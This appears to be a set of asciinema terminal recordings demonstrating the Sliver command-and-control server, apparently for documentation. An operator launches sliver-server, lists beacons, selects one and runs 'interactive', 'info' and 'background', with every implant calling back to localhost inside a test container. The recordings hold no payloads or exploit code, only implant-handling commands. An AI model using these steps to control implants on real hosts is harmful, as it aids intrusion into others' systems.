[45.467961, "o", "\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mBeacon 2ed27d54 CONTINUING_DOWNTOWN - 127.0.0.1:60402 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 18:30:06 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[45.470559, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[45.471633, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[48.327549, "o", "\u001b[H\u001b[2J"]
|
||||
[48.331957, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[48.341971, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[48.343887, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[48.681461, "o", "\u001b[?25l"]
|
||||
[48.690762, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[48.698902, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[48.724389, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[48.727315, "o", "be\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[48.7685, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[48.769393, "o", "\u001b[6n"]
|
||||
[48.772022, "o", "bea\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[48.772175, "o", "\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[48.89754, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[48.9088, "o", "beac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
|
||||
[49.045498, "o", "\u001b[1 q"]
|
||||
[49.090455, "o", "\u001b[1 q\u001b[?25l\u001b[107D"]
|
||||
[49.091825, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[49.094181, "o", "\u001b[1m\u001b[32mbeacons \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[49.095871, "o", "\u001b[1A\u001b[17D\u001b[9C\u001b[107D\u001b[17C\u001b[?25h"]
|
||||
[49.218244, "o", "\u001b[17D\u001b[9C"]
|
||||
[49.220895, "o", "\u001b[6n"]
|
||||
[49.224622, "o", "\u001b[107D\u001b[17C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[49.225698, "o", "\u001b[0 q\r\n"]
|
||||
[49.254538, "o", " ID Name Transport Hostname Username Operating System Last Check-In Next Check-In \r\n========== ===================== =========== ============== ========== ================== =============== ===============\r\n \u001b[0m2ed27d54\u001b[0m \u001b[0mCONTINUING_DOWNTOWN\u001b[0m \u001b[0mhttp(s)\u001b[0m \u001b[0m98df0494f659\u001b[0m \u001b[0mroot\u001b[0m \u001b[0mlinux/amd64\u001b[0m 4s \u001b[1m\u001b[32m15s\u001b[0m \r\n\r\n"]
|
||||
[49.265808, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[49.265962, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[49.267311, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[49.267577, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[53.296549, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[53.30563, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[53.45963, "o", "\u001b[?25l\u001b[107D"]
|
||||
[53.459921, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[53.464752, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[53.579648, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[53.590477, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[53.590827, "o", "\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[53.761387, "o", "\u001b[?25l"]
|
||||
[53.76232, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[53.770592, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
|
||||
[54.915484, "o", "\u001b[13D\u001b[9C\u001b[6n"]
|
||||
[54.931527, "o", "\u001b[107D\u001b[13C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[54.932852, "o", "\u001b[0 q\r\n"]
|
||||
[54.948308, "o", "Exiting...\r\n"]
|
||||
[54.99178, "o", "\u001b[?2004hroot@98df0494f659:~# "]
|
||||
[56.165927, "o", "^C"]
|
||||
[56.172389, "o", "\u001b[?2004l\r\u001b[?2004h\u001b[?2004l\r\r\n"]
|
||||
[56.183662, "o", "\u001b[?2004hroot@98df0494f659:~# "]
|
||||
[56.672344, "o", "\u001b[?2004l\r\r\n"]
|
||||
[56.678369, "o", "exit\r\n"]
|
||||
@@ -0,0 +1,326 @@
|
||||
{"version": 2, "width": 107, "height": 52, "timestamp": 1714590264, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
|
||||
[0.136132, "o", "\u001b[?2004h"]
|
||||
[0.143774, "o", "root@98df0494f659:~# "]
|
||||
[0.553882, "o", "."]
|
||||
[0.600805, "o", "/"]
|
||||
[0.786408, "o", "s"]
|
||||
[0.920327, "o", "l,"]
|
||||
[1.020856, "o", "i"]
|
||||
[1.09121, "o", "v"]
|
||||
[1.237796, "o", "e"]
|
||||
[1.462542, "o", "\b\u001b[K"]
|
||||
[1.608919, "o", "\b\u001b[K"]
|
||||
[1.789658, "o", "\b\u001b[K"]
|
||||
[1.964842, "o", "\b\u001b[K"]
|
||||
[2.221513, "o", "i"]
|
||||
[2.348423, "o", "v"]
|
||||
[2.437752, "o", "e"]
|
||||
[2.543392, "o", "r"]
|
||||
[2.604143, "o", "-"]
|
||||
[2.821617, "o", "s"]
|
||||
[2.872165, "o", "e"]
|
||||
[2.921024, "o", "r"]
|
||||
[3.132354, "o", "v"]
|
||||
[3.22335, "o", "e"]
|
||||
[3.328553, "o", "r"]
|
||||
[3.740231, "o", "\r\n"]
|
||||
[3.741739, "o", "\u001b[?2004l\r"]
|
||||
[4.820992, "o", "\u001b[1m\u001b[37m\r\r\n.------..------..------..------..------..------.\r\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\r\n`------'`------'`------'`------'`------'`------'\r\r\n\u001b[0m\r\n"]
|
||||
[4.824064, "o", "All hackers gain miracle\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n\r\n"]
|
||||
[4.851709, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[4.853842, "o", "\u001b[1 q"]
|
||||
[4.855739, "o", "\u001b[?25l"]
|
||||
[4.856263, "o", "\u001b[107D"]
|
||||
[4.857824, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.860336, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[4.861145, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C"]
|
||||
[4.862185, "o", "\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[8.911322, "o", "\u001b[9D\u001b[9C\u001b[107D"]
|
||||
[8.911705, "o", "\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mBeacon df10fe87 CONTINUING_DOWNTOWN - 127.0.0.1:60516 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 19:04:33 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[8.912258, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.91474, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[10.377847, "o", "\u001b[?25l"]
|
||||
[10.381083, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.390668, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[10.393864, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[10.395131, "o", "\u001b[6n"]
|
||||
[10.400558, "o", "uy\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[10.483651, "o", "\u001b[?25l"]
|
||||
[10.486915, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.49085, "o", "uys\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[10.946724, "o", "\u001b[?25l"]
|
||||
[10.948094, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.951717, "o", "uy\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[11.063725, "o", "\u001b[?25l"]
|
||||
[11.064389, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.076724, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[11.077069, "o", "\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[11.102311, "o", "\u001b[?25l"]
|
||||
[11.103071, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.105707, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[11.146745, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[11.146897, "o", "\u001b[6n"]
|
||||
[11.149231, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D"]
|
||||
[11.14994, "o", "\u001b[12C\u001b[?25h"]
|
||||
[11.374809, "o", "\u001b[12D\u001b[9C"]
|
||||
[11.376359, "o", "\u001b[6n"]
|
||||
[11.379162, "o", "\u001b[107D\u001b[12C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[11.381221, "o", "\u001b[0 q\r\n"]
|
||||
[11.405099, "o", "\u001b7\u001b[?25l"]
|
||||
[11.406297, "o", "\u001b8"]
|
||||
[11.407694, "o", "\u001b[0G\u001b[2K"]
|
||||
[11.422757, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> BEACON df10fe87 CONTINUING_DOWNTOWN 127.0.0.1:60516 98df0494f659 root linux/amd64\u001b[0m\r\n"]
|
||||
[11.423641, "o", "\u001b7"]
|
||||
[11.427229, "o", "\u001b[1A"]
|
||||
[11.427338, "o", "\u001b[0G"]
|
||||
[11.988908, "o", "\u001b8"]
|
||||
[11.99021, "o", "\u001b[?25h\u001b8\u001b[0G"]
|
||||
[11.998075, "o", "\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[12.000187, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m BEACON df10fe87 CONTINUING_DOWNTOWN 127.0.0.1:60516 98df0494f659 root linux/amd64\u001b[0m\r\n"]
|
||||
[12.002379, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive beacon CONTINUING_DOWNTOWN (df10fe87-85a9-4957-bb8a-1fac6f46beee)\r\n"]
|
||||
[12.050123, "o", "\r\n"]
|
||||
[12.067053, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[12.069129, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[12.077063, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
|
||||
[12.077321, "o", "\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[14.803268, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[14.81619, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[14.816919, "o", "\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[14.863769, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[14.865055, "o", "\u001b[6n"]
|
||||
[14.867546, "o", "in\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[14.867924, "o", "\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[14.920156, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[14.923699, "o", "int\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[15.016849, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[15.02499, "o", "inte\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[15.026144, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[15.125867, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[15.135034, "o", "inter\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[15.136964, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[15.30068, "o", "\u001b[1 q"]
|
||||
[15.359274, "o", "\u001b[1 q"]
|
||||
[15.361036, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[15.36373, "o", "\u001b[1m\u001b[32minteractive \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[15.364559, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[43D\u001b[31C\u001b[107D\u001b[43C\u001b[?25h"]
|
||||
[16.281669, "o", "\u001b[43D\u001b[31C"]
|
||||
[16.289447, "o", "\u001b[6n"]
|
||||
[16.293013, "o", "\u001b[107D\u001b[43C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[16.294473, "o", "\u001b[0 q\r\n"]
|
||||
[16.311327, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mUsing beacon's active C2 endpoint: https://localhost\r\n"]
|
||||
[16.333966, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mTasked beacon CONTINUING_DOWNTOWN (97065184)\r\n"]
|
||||
[16.334834, "o", "\r\n"]
|
||||
[16.347152, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[16.347733, "o", "\u001b[1 q\u001b[?25l"]
|
||||
[16.347906, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[16.349684, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D"]
|
||||
[16.350076, "o", "\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[19.76795, "o", "\u001b[?25l\u001b[107D"]
|
||||
[19.770371, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[19.77702, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D"]
|
||||
[19.778475, "o", "\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[19.835542, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[19.838361, "o", "in\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[19.839131, "o", "\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[19.974258, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[19.986342, "o", "inf\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[19.987375, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[20.046116, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[20.051129, "o", "\u001b[1m\u001b[32minfo\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[20.05242, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[20.247916, "o", "\u001b[35D\u001b[31C\u001b[6n"]
|
||||
[20.259176, "o", "\u001b[107D\u001b[35C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[20.287182, "o", "\u001b[1m Beacon ID: \u001b[0mdf10fe87-85a9-4957-bb8a-1fac6f46beee\r\n"]
|
||||
[20.287548, "o", "\u001b[1m Name: \u001b[0mCONTINUING_DOWNTOWN\r\n\u001b[1m Hostname: \u001b[0m98df0494f659\r\n\u001b[1m UUID: \u001b[0m3424b72e-e104-e99b-e183-dc60a7b751a0\r\n\u001b[1m Username: \u001b[0mroot\r\n\u001b[1m UID: \u001b[0m0\r\n\u001b[1m GID: \u001b[0m0\r\n\u001b[1m PID: \u001b[0m19304\r\n"]
|
||||
[20.287807, "o", "\u001b[1m OS: \u001b[0mlinux\r\n\u001b[1m Version: \u001b[0mLinux 98df0494f659 5.10.76-linuxkit\r\n\u001b[1m Locale: \u001b[0m\r\n"]
|
||||
[20.287876, "o", "\u001b[1m Arch: \u001b[0mamd64\r\n"]
|
||||
[20.287932, "o", "\u001b[1m Active C2: \u001b[0mhttps://localhost\r\n"]
|
||||
[20.288299, "o", "\u001b[1m Remote Address: \u001b[0m127.0.0.1:60516\r\n\u001b[1m Proxy URL: \u001b[0m\r\n"]
|
||||
[20.290085, "o", "\u001b[1m Interval: \u001b[0m15s\r\n\u001b[1m Jitter: \u001b[0m30s\r\n\u001b[1m First Contact: \u001b[0mWed May 1 19:04:33 UTC 2024 (12s ago)\r\n\u001b[1m Last Checkin: \u001b[0mWed May 1 19:04:34 UTC 2024 (11s ago)\r\n"]
|
||||
[20.29096, "o", "\u001b[1m Next Checkin: \u001b[0m\u001b[1m\u001b[32mWed May 1 19:05:04 UTC 2024 (in 19s)\u001b[0m\r\n"]
|
||||
[20.29207, "o", "\r\n"]
|
||||
[20.306548, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[20.30802, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[20.309864, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[49.886721, "o", "\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mSession d761c1c5 CONTINUING_DOWNTOWN - 127.0.0.1:60532 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 19:05:14 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[49.889466, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[49.889807, "o", "\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[53.019212, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.028493, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[53.030468, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[53.076648, "o", "\u001b[?25l"]
|
||||
[53.077358, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.080118, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[53.206433, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.209767, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[53.273992, "o", "\u001b[?25l"]
|
||||
[53.275967, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.279402, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[53.432538, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.436394, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[53.436558, "o", "\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[53.479687, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.483212, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[53.483611, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
|
||||
[53.522649, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[53.523931, "o", "\u001b[6n"]
|
||||
[53.526806, "o", "backgro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[53.527532, "o", "\u001b[107D\u001b[1A\u001b[38D\u001b[31C\u001b[107D\u001b[38C\u001b[?25h"]
|
||||
[53.632377, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.643176, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[39D\u001b[31C\u001b[107D\u001b[39C\u001b[?25h"]
|
||||
[53.721129, "o", "\u001b[?25l"]
|
||||
[53.723732, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.731187, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[53.732263, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[40D\u001b[31C\u001b[107D\u001b[40C\u001b[?25h"]
|
||||
[54.10233, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[54.111554, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[41D\u001b[31C\u001b[107D\u001b[41C\u001b[?25h"]
|
||||
[54.300203, "o", "\u001b[41D\u001b[31C\u001b[6n"]
|
||||
